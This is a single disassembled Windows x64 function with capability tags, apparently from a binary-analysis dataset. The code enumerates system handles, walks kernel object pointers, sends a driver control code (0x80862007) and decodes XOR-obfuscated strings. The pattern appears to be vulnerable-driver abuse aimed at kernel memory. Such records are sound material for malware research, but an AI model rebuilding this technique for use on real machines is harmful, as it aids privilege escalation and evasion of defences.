Function at 0x140004b70
Capabilities:
Allocate or change rwx memory
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rax, qword [0x14005f080]
xor rax, rsp
mov qword [rbp + 0x10], rax
mov rsi, qword [0x1403b6430]
lea r9, [rsp + 0x70]
xor edx, edx
xor r15d, r15d
xor r8d, r8d
mov dword [rsp + 0x70], r15d
mov ebx, r15d
lea ecx, [rdx + 0x40]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140004c09
nop
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x70]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x70]
lea r9, [rsp + 0x70]
mov rdx, rax
mov ecx, 0x40
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140004bc0
mov qword [rsp + 0x160], rdi
mov qword [rsp + 0x168], r14
movaps xmmword [rsp + 0x130], xmm6
movaps xmmword [rsp + 0x120], xmm7
test eax, eax
js 0x1400051ba
test rbx, rbx
je 0x1400051d0
mov edi, r15d
mov r14, r15
cmp qword [rbx], rdi
jbe 0x140004ca1
mov rax, r15
nop dword [rax + rax]
lea rax, [rax + rax*4]
movsd xmm0, qword [rbx + rax*8 + 0x30]
movups xmm7, xmmword [rbx + rax*8 + 0x10]
movups xmm6, xmmword [rbx + rax*8 + 0x20]
movsd qword [rbp - 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
movdqa xmm0, xmm7
psrldq xmm0, 8
movq rax, xmm0
cmp rax, rcx
jne 0x140004c8e
movq rax, xmm6
cmp rax, rsi
je 0x140004c9c
inc edi
mov eax, edi
cmp rax, qword [rbx]
jb 0x140004c50
jmp 0x1400051bf
movq r14, xmm7
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r14, r14
je 0x1400051d0
lea r8, [r14 + 8]
mov qword [rbp - 0x30], r15
mov r9d, 8
lea rdx, [rbp - 0x30]
mov rcx, rsi
call fcn.140003d70
test al, al
je 0x140005137
mov r8, qword [rbp - 0x30]
test r8, r8
je 0x140005137
add r8, 8
mov qword [rbp - 0x28], r15
mov r9d, 8
lea rdx, [rbp - 0x28]
mov rcx, rsi
call fcn.140003d70
test al, al
je 0x1400050b4
mov r8, qword [rbp - 0x28]
test r8, r8
je 0x1400050b4
add r8, 0x28
mov qword [rbp - 0x38], r15
mov r9d, 8
lea rdx, [rbp - 0x38]
mov rcx, rsi
call fcn.140003d70
test al, al
je 0x140004fe3
mov r8, qword [rbp - 0x38]
test r8, r8
je 0x140004fe3
xorps xmm0, xmm0
lea rdx, [rsp + 0x78]
add r8, 0x58
mov r9d, 0x10
mov rcx, rsi
movups xmmword [rsp + 0x78], xmm0
call fcn.140003d70
test al, al
je 0x140004f32
movzx eax, word [rsp + 0x78]
test ax, ax
je 0x140004f32
mov ecx, eax
mov eax, 2
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.140019f58
movzx r8d, word [rsp + 0x78]
xor edx, edx
add r8, r8
mov rcx, rax
mov rbx, rax
call fcn.14003f610
movzx r9d, word [rsp + 0x78]
mov rdx, rbx
mov r8, qword [rbp - 0x80]
add r9, r9
mov rcx, rsi
call fcn.140003d70
mov rax, qword [rbp - 0x38]
mov word [rsp + 0x78], r15w
add rax, 0x58
je 0x140004e40
mov qword [rsp + 0x38], r15
lea rcx, [rsp + 0x78]
mov qword [rbp - 0x58], rax
lea r8, [rbp - 0x70]
lea rax, [rbp - 0x40]
mov qword [rbp - 0x60], rcx
mov qword [rsp + 0x30], rax
mov r9d, 0x28
mov dword [rsp + 0x28], r15d
mov edx, 0x80862007
mov rcx, rsi
mov qword [rsp + 0x20], r15
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x70], 0x33
mov qword [rbp - 0x50], 0x10
mov dword [rbp - 0x40], r15d
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x140004e40
mov rcx, rbx
call fcn.140019910
mov al, 1
jmp 0x1400051d2
movabs rax, 0xe7e4461773ad0569
movabs rcx, 0x5fcb63a2e17d6a6a
mov qword [rbp - 0x20], rax
movabs rdx, 0xf90be803a5d548fd
movabs rax, 0xb50b1b46aa8c3bc6
mov qword [rbp - 0x48], rcx
mov qword [rbp - 0x18], rax
movabs rax, 0xe1b17379dc4f7213
movdqa xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x10], rax
movabs rax, 0xd080c1109259b028
mov qword [rbp - 8], rax
movabs rax, 0x8b8d275153f02432
mov qword [rbp - 0x70], rax
movabs rax, 0xc77c3b29deac5fa3
mov qword [rbp - 0x68], rax
movabs rax, 0x97d8011dfc2a067a
movups xmm1, xmmword [rbp - 0x70]
mov qword [rbp - 0x60], rax
movabs rax, 0xf0e5ac71fc79c24d
mov qword [rbp - 0x58], rax
movabs rax, 0xf90b8077c2bb2d91
movups xmm2, xmmword [rbp - 0x60]
mov qword [rbp - 0x50], rax
xorps xmm0, xmm1
mov qword [rbp], rdx
movups xmm3, xmmword [rbp - 0x50]
mov qword [rbp + 8], rcx
movdqa xmm1, xmmword [rbp - 0x10]
movdqa xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm2
movdqa xmm0, xmmword [rbp]
xorps xmm0, xmm3
movdqa xmmword [rsp + 0x50], xmm1
movdqa xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x40]
lea rcx, [0x1403b4b80]
call fcn.14000a3b0
mov rcx, rax
call fcn.14000a660
jmp 0x1400051d0
movabs rax, 0xe7e4461773ad0569
lea rdx, [rbp - 0x70]
mov qword [rbp - 0x20], rax
lea rcx, [0x1403b4b80]
movabs rax, 0xb50b1b46aa8c3bc6
mov qword [rbp - 0x18], rax
movabs rax, 0xe1b17379dc4f7213
movdqa xmm0, xmmword [rbp - 0x20]
mov qword [rbp - 0x10], rax
movabs rax, 0xd080c1109259b028
mov qword [rbp - 8], rax
movabs rax, 0x8b8d275153f02432
mov qword [rsp + 0x40], rax
movabs rax, 0xdc6d3b29deac5fa3
mov qword [rsp + 0x48], rax
movabs rax, 0x84c71a0bb86f167d
movups xmm1, xmmword [rsp + 0x40]
mov qword [rsp + 0x50], rax
movabs rax, 0xd080a47df337905a
mov qword [rsp + 0x58], rax
movups xmm2, xmmword [rsp + 0x50]
xorps xmm0, xmm1
xorps xmm2, xmmword [rbp - 0x10]
movdqa xmmword [rbp - 0x60], xmm2
movdqa xmmword [rbp - 0x70], xmm0
call fcn.14000a3b0
mov rcx, rax
call fcn.14000a660
jmp 0x1400051d0
movabs rax, 0xe7e4461773ad0569
movabs rdx, 0xf90be803a5d548fd
mov qword [rbp - 0x20], rax
movabs rax, 0xb50b1b46aa8c3bc6
mov qword [rbp - 0x18], rax
movabs rax, 0xe1b17379dc4f7213
mov qword [rbp - 0x10], rax
movabs rax, 0xd080c1109259b028
mov qword [rbp - 8], rax
movabs rax, 0x8b8d275153f02432
mov qword [rbp - 0x70], rax
movabs rax, 0xdc6d3b29deac5fa3
mov qword [rbp - 0x68], rax
movabs rax, 0x84c71a0bb86f167d
mov qword [rbp - 0x60], rax
movabs rax, 0xbfe9b573f72aef5a
mov qword [rbp - 0x58], rax
movabs rax, 0xf90be803a5d54893
mov qword [rbp - 0x50], rax
movups xmm1, xmmword [rbp - 0x70]
movabs rcx, 0x5fcb63a2e17d6a6a
mov qword [rbp], rdx
movups xmm2, xmmword [rbp - 0x60]
mov qword [rbp - 0x48], rcx
movups xmm3, xmmword [rbp - 0x50]
mov qword [rbp + 8], rcx
movdqa xmm0, xmmword [rbp - 0x20]
xorps xmm3, xmmword [rbp]
xorps xmm0, xmm1
xorps xmm2, xmmword [rbp - 0x10]
movdqa xmmword [rsp + 0x60], xmm3
movdqa xmmword [rsp + 0x40], xmm0
movdqa xmmword [rsp + 0x50], xmm2
jmp 0x140004f14
movabs rax, 0xe7e4461773ad0569
movabs rdx, 0xf90be803a5d548fd
mov qword [rbp - 0x20], rax
movabs rax, 0xb50b1b46aa8c3bc6
mov qword [rbp - 0x18], rax
movabs rax, 0xe1b17379dc4f7213
mov qword [rbp - 0x10], rax
movabs rax, 0xd080c1109259b028
mov qword [rbp - 8], rax
movabs rax, 0x8b8d275153f02432
mov qword [rbp - 0x70], rax
movabs rax, 0xdc6d3b29deac5fa3
mov qword [rbp - 0x68], rax
movabs rax, 0x84c71a0bb86f167d
mov qword [rbp - 0x60], rax
movabs rax, 0xa4e3a47af036ef5a
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rdx
jmp 0x14000506b
movabs rax, 0xe7e4461773ad0569
movabs rdx, 0xf90be803a5d548fd
mov qword [rbp - 0x20], rax
movabs rax, 0xb50b1b46aa8c3bc6
mov qword [rbp - 0x18], rax
movabs rax, 0xe1b17379dc4f7213
mov qword [rbp - 0x10], rax
movabs rax, 0xd080c1109259b028
mov qword [rbp - 8], rax
movabs rax, 0x8b8d275153f02432
mov qword [rbp - 0x70], rax
movabs rax, 0xdc6d3b29deac5fa3
mov qword [rbp - 0x68], rax
movabs rax, 0x82d8051cb86f167d
mov qword [rbp - 0x60], rax
movabs rax, 0xa4e3a47af036ef4d
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], rdx
jmp 0x14000506b
test rbx, rbx
je 0x1400051d0
mov r8d, 0x8000
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor al, al
movaps xmm7, xmmword [rsp + 0x120]
movaps xmm6, xmmword [rsp + 0x130]
mov r14, qword [rsp + 0x168]
mov rdi, qword [rsp + 0x160]
mov rcx, qword [rbp + 0x10]
xor rcx, rsp
call fcn.1400198f0
mov rbx, qword [rsp + 0x170]
add rsp, 0x140
pop r15
pop rsi
pop rbp
ret